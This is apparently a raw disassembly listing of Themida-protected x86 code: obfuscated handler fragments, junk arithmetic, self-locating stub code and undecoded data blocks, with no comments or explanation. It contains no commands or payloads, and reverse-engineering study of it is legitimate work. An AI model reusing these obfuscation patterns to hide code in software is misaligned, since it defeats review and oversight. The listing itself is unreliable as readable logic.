		dd 0CC4F0000h, 0FA1Ch, 4 dup(0)
		dd 0F0990000h, 7E5F0054h, 9B4E0054h, 53F70054h,	681E0054h
		dd 0B98C0054h, 0CEA00054h, 0FA690054h, 0F5E40054h, 0AE100054h
		dd 0CD860054h, 0B30054h, 91AC0055h, 0D6BB0054h,	9A460054h
		dd 0C7D70054h, 0A8080054h, 0E2790054h, 0F63B0054h, 0BA080054h
		dd 9C1E0054h, 907F0054h, 0C03D0054h, 78A20054h,	5E120054h
		dd 0F24B0054h, 0A5F10054h, 0C0D20054h, 7BEE0054h, 87C80054h
		dd 6F860054h, 623B0054h, 0BBB30054h, 0A6800054h, 0A3E00054h
		dd 0C11A0054h, 748F0054h, 0F970054h, 0EA000055h, 0B92C0054h
		dd 92F60054h, 9F8A0054h, 4B5E0054h, 0F9350054h,	557C0054h
		dd 69C0054h, 970B0055h,	0B0B80054h, 0A1780054h,	85100054h
		dd 7D8F0054h, 0B6100054h, 56CF0054h, 0AF6F0054h, 0C5500054h
		dd 4C4B0054h, 0E46E0054h, 0D3140054h, 0B35E0054h, 0AF970054h
		dd 0A97F0054h, 0E93B0054h, 777A0054h, 0EC9C0054h, 0C2790054h
		dd 0BB570054h, 0B0EB0054h, 71320054h, 0F55C0054h, 7BC70054h
		dd 74860054h, 70EA0054h, 0C5710054h, 0DC5F0054h, 7050054h
		dd 7FF70055h, 8C5E0054h, 93A30054h, 3F40054h, 0B90B0055h
		dd 65790054h, 64EE0054h, 63110054h, 0B49C0054h,	0DAF50054h
		dd 0D06B0054h, 0EAE00054h, 0BEB0054h, 8DCA0055h, 0CF380054h
		dd 52A0054h, 54390055h,	8DAC0054h, 0CDB80054h, 68E70054h
		dd 0C3880054h, 4F600054h, 0B7F00054h, 2F20054h,	0D65C0055h
		dd 8CCF0054h, 5FB10054h, 0FACB0054h, 576E0054h,	67D90054h
		dd 9E850054h, 0FF280054h, 0C6990054h, 0A1130054h, 0FD570054h
		dd 0FFEC0054h, 4D4F0054h, 0DA9F0054h, 88EC0054h, 51F00054h
		dd 0BCE10054h, 53FD0054h, 9A550054h, 0CBAC0054h, 0FADF0054h
		dd 97380054h, 0C2B10054h, 0E6750054h, 0C59E0054h, 0E6C80054h
		dd 6C380054h, 0B5040054h, 0B66B0054h, 8B470054h, 0A8F0054h
		dd 0A9660055h, 61430054h, 8AE50054h, 5EFE0054h,	0AD640054h
		dd 76BE0054h, 8C180054h, 65C50054h, 0BCD80054h,	0DD500054h
		dd 9AB40054h, 0B4400054h, 92D30054h, 98500054h,	0F5F00054h
		dd 0DEEA0054h, 0BB380054h, 0C880054h, 0FC450055h, 0CB50054h
		dd 12230055h, 0F75F0055h, 5E350054h, 0C65A0054h, 74BB0054h
		dd 822A0054h, 98280054h, 68CE0054h, 0FE350054h,	845A0054h
		dd 0C06D0054h, 0B8470054h, 0D1780054h, 3770054h, 0B6B30055h
		dd 0B0CB0054h, 4FC00054h
		db 54h,	0
; ---------------------------------------------------------------------------


loc_544AAA:				; CODE XREF: Themida_:00571146j
					; Themida_:0057383Fj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6377E63h
		mov	eax, edi
		add	edi, 6377B7Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_544AC8
		jmp	short loc_544ADB
; ---------------------------------------------------------------------------


loc_544AC8:				; CODE XREF: Themida_:00544AC4j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_544AD7
; ---------------------------------------------------------------------------


loc_544AD2:				; CODE XREF: Themida_:00544AD9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_544AD7:				; CODE XREF: Themida_:00544AD0j
		or	ecx, ecx
		jnz	short loc_544AD2


loc_544ADB:				; CODE XREF: Themida_:00544AC6j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_544AE8:				; CODE XREF: Themida_:00544AEFj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_544AE8


loc_544AF1:				; CODE XREF: Themida_:00545459j
					; Themida_:005460D3j ...
		lodsb
		sub	al, 18h
		jmp	loc_546AB4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 4EC81h, 24890000h, 24048324h, 0B045E904h
		dd 0C5010000h, 8124048Bh, 4C4h,	242C3300h, 33242C31h, 0E95C242Ch
		dd 0B98Eh, 0B4E78147h, 8124795Fh, 727597F7h, 5FFA8975h
		dd 15AD301h, 58E957C3h,	8100002Ah, 0EA3090C7h, 0A887E91Fh
		dd 9AE90000h, 21FFFFFFh, 802CE9C1h, 4300000h, 24043224h
		dd 6EEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_544B69:				; CODE XREF: Themida_:00548D5Dj
		mov	[esp], cx
		mov	ch, 0Dh
		jmp	loc_55070F
; ---------------------------------------------------------------------------


loc_544B74:				; CODE XREF: Themida_:00550408j
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_548B5F
; ---------------------------------------------------------------------------
		db 80h
		dd 802F2404h, 8046242Ch, 0E997242Ch, 190h
; ---------------------------------------------------------------------------


loc_544BA0:				; CODE XREF: Themida_:00550907j
		add	esp, 4
		push	ebp
		push	1C09h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 61E56A19h
		not	esi
		add	esi, 61E56A1Eh
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_5475CB
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 0FEFBE99Ch, 875DFFFFh, 248B243Ch, 4EC8324h, 0E9240C89h
		dd 310Dh
; ---------------------------------------------------------------------------


loc_544C08:				; CODE XREF: Themida_:00549823j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54A6E2
; ---------------------------------------------------------------------------
		dd 0E7C0EFD0h, 31C78002h, 0C6ABE9h, 0EF815E00h,	5E396247h
		dd 0F6E9D701h, 660000C4h, 81240C8Bh, 4ECh, 243C8900h, 6643E9h
		dd 242C8B00h, 4C481h, 0E8C10000h, 0E9C83108h, 60E6h, 0E924248Bh
		dd 0C3E8h, 22E9DCF6h, 51000041h, 0B2E9E189h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544C87:				; CODE XREF: Themida_:0054520Aj
		push	ecx
		mov	ecx, 1CEF65CEh
		neg	ecx
		jmp	loc_549D3D
; ---------------------------------------------------------------------------


loc_544C94:				; CODE XREF: Themida_:0055038Cj
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Ah
		push	79D9h
		mov	[esp], ebx
		jmp	loc_54FDE3
; ---------------------------------------------------------------------------
		db 29h,	0DDh, 81h
		dd 0B9454EC5h, 241C8B23h, 4C481h, 37E90000h, 80000070h
		dd 470415F2h, 0D028822Ch, 8F33E9h, 9C506600h, 0FFFE10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_544CE1:				; CODE XREF: Themida_:0054DCDBj
		push	ebx
		mov	ebx, 6CB54797h
		sub	ebx, 7A7B13A5h
		neg	ebx
		shl	ebx, 7
		not	ebx
		shl	ebx, 2
		jmp	loc_5481AB
; ---------------------------------------------------------------------------


loc_544CFC:				; CODE XREF: Themida_:00546894j
		mov	eax, [esp]
		add	esp, 4
		push	2DBh
		mov	[esp], ebp
		mov	ebp, 5F9B22D3h
		not	ebp
		push	ecx
		mov	ecx, 0C590A81h
		or	ebp, ecx
		pop	ecx
		inc	ebp
		shr	ebp, 3
		and	ebp, 15CE3F1Bh
		push	edx
		push	ebx
		push	0AE219Ah
		jmp	loc_54E387
; ---------------------------------------------------------------------------
		db 8Ah,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54C29B
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 93E90000h, 0AD000044h, 5F4268h, 241C8900h, 91A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_544D5D:				; CODE XREF: Themida_:005454A8j
		inc	edi
		shr	edi, 7
		xor	edi, 1408D7EAh
		and	ecx, edi
		jmp	loc_5477B6
; ---------------------------------------------------------------------------
		dd offset dword_4F8044+124h
		dw 8900h
a4Ssk		db '4$ésK',0
		dw 8900h
		dd 6EE95FFBh, 83FFFFFDh, 0E88904C4h, 81242C8Bh,	4C4h, 71E96800h
		dd 2C890000h, 3ABF5724h, 812C1433h, 0C02170F7h,	6162E96Dh
		dd 59660000h, 0E9532504h, 96F0h, 137DE950h, 32E90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544DBF:				; CODE XREF: Themida_:0054530Cj
		sub	edx, 60C17664h
		push	edi
		mov	edi, 41F07F50h
		add	edx, edi
		pop	edi
		jmp	loc_54747E
; ---------------------------------------------------------------------------
aIcshu		db 'ˆæéHu',0
		align 2
aBCgSqp		db 'ÃCG¾',0Ah
		db '韯',0
		db 0
; ---------------------------------------------------------------------------


loc_544DE5:				; CODE XREF: Themida_:0054C0F5j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		jmp	loc_5511E8
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 24A3E9h, 0A0C38000h,	24048B66h, 2C481h, 0D8280000h
		dd 0B450665Bh, 66E3004Ch, 12D3E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544E1A:				; CODE XREF: Themida_:0054D57Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_545EE7
; ---------------------------------------------------------------------------
aIss@m		db '‰áé@¬',0
		align 4
		dd 89243C89h, 4C781E7h,	55000000h, 526AE9h, 2FC38100h
		dd 0C1559846h, 0E38107E3h, 46A84443h, 43FCEB81h, 0C58104A0h
		dd 7A0C5124h, 75F7C581h, 0DD017612h, 75F7ED81h,	0ED817612h
		dd 7A0C5124h, 81241C8Bh, 4C4h, 2BA5200h, 0E9000000h, 680Ah
		dd 0D1C2095Ch, 0F76855E2h, 5D6F500Ch, 420E9h
		db 0
; ---------------------------------------------------------------------------


loc_544E9D:				; CODE XREF: Themida_:0054E556j
		xchg	ecx, [esp]
		pop	esp
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_549547
; ---------------------------------------------------------------------------
aHo8		db ']ho8',0
		dd 8D6EE900h, 0C330000h, 240C3124h, 0A9E2E9h, 0BD555600h
		dd 4E236281h, 798C58BEh, 5DEE2970h, 0E95EF701h,	93A7h
		dd 5F0AE681h, 0EE816F8Ch, 200048FEh, 348BF101h,	4C48324h
		dd 0E904E983h, 315Eh, 4C281h, 33E90000h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544F03:				; CODE XREF: Themida_:0054F015j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_54F783
; ---------------------------------------------------------------------------
		dd 0FEE95256h, 8100006Dh, 83328AF2h, 2F0D2D02h,	0D0297FD5h
		dd 0B51DE9h
		db 0
; ---------------------------------------------------------------------------


loc_544F29:				; CODE XREF: Themida_:00547B6Cj
					; Themida_:0054F132j
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		pop	edx
		push	ebp
		push	edx
		xor	dword ptr [esp], 305C573Ah
		push	dword ptr [esp]
		pop	ebp


loc_544F3E:				; DATA XREF: ___:off_435748o
		push	1BB8h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_545808
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 348BF289h, 4C48124h,	0E9000000h, 6BEh, 240C8B66h, 4EC81h
		dd 2C890000h, 34FF5424h, 0C4835D24h, 4C58104h, 81000000h
		dd 4ECh, 240C8900h, 2CFEE9h, 5BDF8900h,	34FFFE01h, 0B807E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544F96:				; CODE XREF: Themida_:0054ABDDj
		shl	edx, 1
		push	65DCh
		mov	[esp], eax
		push	57DDh
		mov	[esp], esi
		mov	esi, 474267D7h
		shr	esi, 1
		inc	esi
		shr	esi, 3
		push	ecx
		push	edi
		push	36155F34h
		pop	edi
		jmp	loc_54FB6F
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFFFB21h, 6804C483h
		dd 6367h, 0E9240489h, 0C047h, 65ABB951h, 0E1817806h, 7EA767A8h
		dd 0E901E983h, 2649h
; ---------------------------------------------------------------------------


loc_544FF4:				; CODE XREF: Themida_:0054E8DAj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		pop	eax
		sub	eax, 42B866FFh
		push	esi
		push	5587h
		mov	[esp], eax
		mov	eax, 6FA50FCAh
		jmp	loc_54D180
; ---------------------------------------------------------------------------
		dd 8904EC83h, 63B9240Ch, 0F7518C0Ch, 49D1F7D9h,	0EF8DE981h
		dd 0CA2146E4h, 0B2D0E959h, 89560000h, 4B951E6h,	1000000h
		dd 2434FFCEh, 83240C8Bh, 8FE904C4h, 100004Ah, 5B04245Ch
		dd 81242C8Bh, 4C4h, 4EC8100h, 89000000h, 4BB241Ch, 0E9000000h
		dd 56B1h
; ---------------------------------------------------------------------------


loc_545080:				; CODE XREF: Themida_:0054BE84j
		push	esi
		mov	esi, 0FFC3CF8Dh
		xor	ebp, esi
		push	dword ptr [esp]
		jmp	loc_54DBD5
; ---------------------------------------------------------------------------
		dd 7717F281h, 3FE92C64h, 2D000073h, 4F480951h, 5105D801h
		dd 2D4F4809h, 5B5F0DE8h, 2404875Bh, 0BD70E95Ch,	0FBB80000h
		dd 68627420h, 32Ah, 0DAE9h, 0C3015E00h,	284AE9h, 0E9D3F700h
		dd 83CCh
; ---------------------------------------------------------------------------


loc_5450D4:				; CODE XREF: Themida_:0054B26Bj
		cmp	eax, edx
		jz	loc_54D574
		push	esi
		mov	esi, 624A6B97h
		jmp	loc_547A2B
; ---------------------------------------------------------------------------
		db 81h
		dd 8C21E1F3h, 0F7DBF778h, 4E3C1D3h, 0C5C3814Bh,	1FB4E91h
		dd 96E95BD9h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545103:				; CODE XREF: Themida_:00547A31j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 0
		sub	eax, [edi+20h]
		xchg	eax, [edi+20h]
		jmp	loc_549CC8
; ---------------------------------------------------------------------------


loc_545123:				; CODE XREF: Themida_:00546D70j
		pop	ebx
		sub	al, dl
		pop	edx
		add	al, bl
		add	al, 1Fh
		add	al, 49h
		sub	al, 0E4h
		push	dx
		mov	dl, 0F1h
		sub	al, dl
		jmp	loc_550A06
; ---------------------------------------------------------------------------


loc_54513A:				; CODE XREF: Themida_:005458F4j
		push	2205h
		mov	[esp], ebp
		mov	ebp, 4
		add	dword ptr [esp+4], 42E0623Eh
		sub	dword ptr [esp+4], 57FB2397h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 57FB2397h
		sub	dword ptr [esp+4], 42E0623Eh
		jmp	loc_54CF84
; ---------------------------------------------------------------------------
		dd 2959CF01h, 51D8E9C7h, 0C5810000h, 17CA4368h,	29FBE9h
		dd 59685100h, 59D1EB80h, 159C801h, 24048BC7h, 8704C483h
		dd 0CE9243Ch, 8900007Fh, 8DE9242Ch, 5800000Eh, 9CD5E9h
		dd 7D766800h, 0DBE903DEh, 83000006h, 34FF04C4h,	0BC6EE924h
		dd 4890000h, 1393B824h,	0C8E96ADCh, 66000039h, 0F5AD301h
		dd 6866C0B7h, 89661A67h, 0DCE92404h, 2900006Bh,	0AFED81C5h
		dd 0E938B656h, 7EFh, 24048B66h,	219F68h, 242C8900h, 20CFE9h
		dd 243C8900h, 5B78E9h
		db 0
; ---------------------------------------------------------------------------


loc_545209:				; CODE XREF: Themida_:0054706Dj
		push	edx
		jmp	loc_544C87
; ---------------------------------------------------------------------------
		db 5
		dd 247A23DFh, 8158C301h, 0A944FCEBh, 34FF5055h,	0BAFBE924h
		dd 0C6810000h, 4, 8704C683h, 248B2434h,	1667E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54523A:				; CODE XREF: Themida_:00545619j
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	ecx
		jmp	loc_545B83
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1F4F5C09h, 495AE605h, 61E95A77h, 8F000081h, 335C2404h
		dd 4312404h, 24043324h,	6624248Bh, 2404A30Fh, 0F86FE99Ch
		dd 6C81FFFFh, 31C0424h,	6C017B1Eh, 44810424h, 31C0424h
		dd 8B5D7B1Eh, 0EC812404h, 4, 54243C89h,	2710E95Fh, 14890000h
		dd 34B5E924h, 0C7810000h, 4, 0D84E9h, 0D5F74D00h, 5202EDC1h
		dd 0FFFFFFBAh, 5AD501FFh, 12B7E9h, 8E5C100h, 0FFFEA1E9h
		dd 5DEA01FFh, 4C281h, 0FF520000h, 0E9042474h, 89DEh
; ---------------------------------------------------------------------------


loc_5452EC:				; CODE XREF: Themida_:005486D3j
		mov	edx, 0A2F1F0Dh
		push	esi
		mov	esi, 74234BDDh
		push	ebx
		jmp	loc_54A210
; ---------------------------------------------------------------------------


loc_5452FD:				; CODE XREF: Themida_:0054E9E4j
		pop	esi
		sub	edx, 64BF447Ch
		sub	edx, ebp
		add	edx, 64BF447Ch
		jmp	loc_544DBF
; ---------------------------------------------------------------------------
		db 0B8h, 35h, 2
aP@s@		db 'P-@éÐ@',0
		align 4


loc_54531C:				; CODE XREF: Themida_:0054F7A5j
		mov	[esp], edx
		mov	edx, 3DA93824h
		push	29F2h
		jmp	loc_5470BE
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 0C1000000h, 0E1C106E1h, 6E1C106h, 38ABF57h
		dd 0F931753Eh, 7804E9h,	0DABF5700h
dword_545350	dd 0E9059C58h, 0FFFFFB6Dh, 0C281E289h, 4, 8704C283h, 93E92414h
					; DATA XREF: ___:off_43CCE4o
		dd 81000097h, 4ECh, 241C8900h, 2CBBh, 0E9FB0100h, 5801h
		dd 0FB2C781h, 5BE9ED72h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54538B:				; CODE XREF: Themida_:0054C518j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54D4F6
; ---------------------------------------------------------------------------
		dd offset dword_5AF528
aIsts		db 'ëétS',0
		align 2
		dw 8158h
		dd 30C89CEh, 7ABB5300h,	0E938E51Ch, 1509h
; ---------------------------------------------------------------------------


loc_5453B4:				; CODE XREF: Themida_:00546B43j
		add	esp, 4
		push	6ACBh
		mov	[esp], ebx
		jmp	loc_549E22
; ---------------------------------------------------------------------------
		db 81h
		dd 671C7EBh, 0E9C3013Dh, 64FEh
; ---------------------------------------------------------------------------


loc_5453D4:				; CODE XREF: Themida_:005459BFj
		sub	ecx, 22245D81h
		add	ecx, 1AF42AB3h
		add	edx, ecx
		jmp	loc_54E73C
; ---------------------------------------------------------------------------
		db 0B3h
		dd 80D3F64Bh, 0C3806EEBh, 24E95206h, 0AC000090h, 9400E9h
		dd 48B6600h, 5FFD6824h,	0BCE90000h, 8100005Ah, 4ECh, 22E95400h
		dd 4, 61B151D8h, 0FEC2C980h, 0D3C180C1h, 0C180C9FEh, 27B252B0h
		dd 0B284E9h, 241C3300h,	3CA7E9h, 0B151AC00h, 0B7536677h
		dd 66F90813h, 0E9C9FE5Bh, 424Ch
; ---------------------------------------------------------------------------


loc_54544C:				; CODE XREF: Themida_:0054B915j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F908E987h, 0E95DFFFFh, 9940h, 0FF2434FFh, 815E2434h
		dd 4C4h, 0E3895300h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 2474FF56h, 24348B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		jmp	loc_549F9C
; ---------------------------------------------------------------------------


loc_5454A2:				; CODE XREF: Themida_:0054AC3Dj
		push	edi
		mov	edi, 44ED6226h
		jmp	loc_544D5D
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0C2h
		dd 2C28358h, 31241433h,	14332414h, 8BE95C24h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5454C3:				; CODE XREF: Themida_:0054D092j
		mov	[esp], edx
		mov	edx, 2EE64E95h
		push	5D57h
		mov	[esp], eax
		push	edi
		jmp	loc_549477
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4C28300h, 5C241487h, 51E28952h, 0C037C1B9h, 3E9C13Ah
		dd 6F4E981h, 0CA010758h, 897EE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545502:				; CODE XREF: Themida_:00548355j
		dec	ecx
		and	ecx, 5F897705h
		not	ecx
		and	ecx, 1C92647Eh
		add	ecx, 0F76DBB8Ah
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54C1FC
; ---------------------------------------------------------------------------
		db 81h
		dd 132B86C2h, 8E4AE910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545532:				; CODE XREF: Themida_:0054FBB0j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_54AA70
; ---------------------------------------------------------------------------
		dw 2ABAh
		dd 0E9615024h, 0C1Fh, 0E924148Bh, 0FFFFFC67h
; ---------------------------------------------------------------------------


loc_545550:				; CODE XREF: Themida_:0054D489j
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5456A3
; ---------------------------------------------------------------------------


loc_54555A:				; CODE XREF: Themida_:00549985j
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55031D
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0F57FE99Ch, 7AB9FFFFh, 0E9548A7Ah, 848Ch, 582434FFh
		dd 815E5456h, 4C6h, 4EE8300h, 5C243487h, 89241C89h, 685755E3h
		dd 238601D8h, 0D4EF815Fh, 89238601h, 0EB815FFDh, 3FC07F8Bh
		dd 3F6CEB81h, 0EB01789Fh, 3F6CC381h, 0C381789Fh, 3FC07F8Bh
		dd 50AAE9h, 73E5BE00h, 0F6814084h, 44935D9h, 0C4AF681h
		dd 0F52966CBh, 658AE9h,	242C8900h, 8155FD89h, 6B572404h
		dd 2D583CD7h, 3CD76B57h, 5180E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5455F6:				; CODE XREF: Themida_:0054BEBCj
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 6
		push	23BBh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54523A
; ---------------------------------------------------------------------------
		dw 43B9h
		dd 1C420AAh, 24148BD1h,	1E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54562D:				; CODE XREF: Themida_:0054CD36j
		push	573Dh
		mov	[esp], edi
		push	ecx
		mov	ecx, 69712E87h
		jmp	loc_54D4D0
; ---------------------------------------------------------------------------
		dd 80E6EE80h, 0EC81FFEEh, 2, 240C8966h,	0EE2815B5h, 240C8B66h
		dd 8002C483h, 0F58803F6h, 3C07E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545666:				; CODE XREF: Themida_:005503EFj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_545677:				; CODE XREF: Themida_:005467C2j
		xor	ecx, 5667619Eh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_547853
; ---------------------------------------------------------------------------
		db 66h,	51h, 9Ch
		dd 0FFF464E9h, 25A4BAFFh, 0F2812FDBh, 2FDB25A0h, 233BE981h
		dd 0AEE918F4h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5456A3:				; CODE XREF: Themida_:00545555j
		add	esp, 4
		jmp	loc_548252
; ---------------------------------------------------------------------------


loc_5456AB:				; CODE XREF: Themida_:0054B7C2j
		add	ebx, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7ED1116h
		add	ebx, edi
		jmp	loc_54AE7B
; ---------------------------------------------------------------------------


loc_5456C2:				; CODE XREF: Themida_:0054F030j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55072E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0EC835A24h, 24148904h, 95685A54h,	89000075h
		dd 4BF243Ch, 1000000h, 0C2815FFAh, 4, 8B241487h, 0E9502424h
		dd 8FA3h
; ---------------------------------------------------------------------------


loc_545700:				; CODE XREF: Themida_:0054A3D3j
		mov	[esp], esi
		push	6ACD0177h
		jmp	loc_54CC1C
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FB015D5Fh, 203DE9h,	0ACC18100h, 0E9CEEFEFh,	9658h
		dd 0E73AC581h, 0E88922E8h, 0E92434FFh, 2355h, 0EA81EA01h
		dd 6B1D2912h, 74FF525Dh, 8F5A0424h, 0BAE92404h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54574B:				; CODE XREF: Themida_:00548F03j
		pop	ebx
		push	edi
		jmp	loc_54B6D2
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 0E9000000h, 0FFFFF67Eh, 0EDB25266h, 5A66D100h, 34FFCB28h
		dd 3CDBE924h, 8B660000h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, 5D126079h
		add	ebp, ebx
		push	ebx
		mov	ebx, 5D126079h
		sub	ebp, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_54D43D
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 315C68h, 240C8900h, 0DDF667B5h, 0E903E5C0h, 0A56Fh
		dd 56E0BD55h, 6C012D18h, 5F5D0424h, 8D02E9h, 59746800h
		dd 1C890000h, 4BB24h, 11E90000h, 0E9000085h, 0FFFFF31Dh
		dd 0BF57DDF7h, 48405243h, 8904EC83h, 5FBB241Ch,	297FDC9Ch
		dd 0ED815BDFh, 2F8A7513h, 0C581FD01h, 2F8A7513h, 89F0E9h
		dd 5E7C100h, 0E908EFC1h, 222Eh
; ---------------------------------------------------------------------------


loc_545808:				; CODE XREF: Themida_:00544F48j
		add	edi, 4
		jmp	loc_54A729
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 9F8CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54581E:				; CODE XREF: Themida_:0054C904j
		shl	eax, cl
		push	ecx
		mov	ecx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 18872C22h
		jmp	loc_549188
; ---------------------------------------------------------------------------
		db 83h,	0EEh, 4
		dd 8BA4E9h, 24048F00h, 337DE9h
		db 0
; ---------------------------------------------------------------------------


loc_545841:				; CODE XREF: Themida_:005487A0j
		xor	esi, [esp]
		jmp	loc_545F4C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E957242Ch, 0B9B8h, 68241489h, 31CBh, 0E9241C89h
		dd 4F32h, 4EC81h, 3C890000h, 2434FF24h,	4C4835Dh, 26D6E9h
		dd 84B85000h, 0D060C08h, 1BA40356h, 1809AD25h, 3D7FE93Ah
		dd 89590000h, 240C8BCAh, 4C481h, 0B8500000h, 482673EAh
		dd 0F758C231h, 4EC81D2h, 89000000h, 0FFB9240Ch,	81FFFFFFh
		dd 0C97739C2h, 56CA291Dh, 0C97739BEh, 5EF2291Dh, 9BC28159h
		dd 214BF80Ah, 0E95A1C57h, 3C1Ch, 4B8DE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5458DE:				; CODE XREF: Themida_:0055055Fj
		pop	esp
		movzx	cx, al
		push	3025h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_54513A
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 10h
		dd 56204B0Eh, 7E0364BEh, 0EE814E35h, 7663085h, 0BB2CC681h
		dd 0F52971B2h, 8BE8015Eh, 8950242Ch, 405E0h, 0C0830000h
		dd 74FF5004h, 48B0424h,	4C48124h, 0E9000000h, 509Dh
; ---------------------------------------------------------------------------


loc_545938:				; CODE XREF: Themida_:0054B71Cj
		add	dl, 0Fh
		jmp	loc_546658
; ---------------------------------------------------------------------------
		dd 0E904C483h, 910Eh, 815EF501h, 0EF5418C5h, 0C5835F70h
		dd 242C8702h, 0D224248Bh, 0E99C242Ch, 0FFFFF18Dh, 0E924048Fh
		dd 0A897h
; ---------------------------------------------------------------------------


loc_54596C:				; CODE XREF: Themida_:0054B1A0j
		neg	edx
		xchg	eax, edx
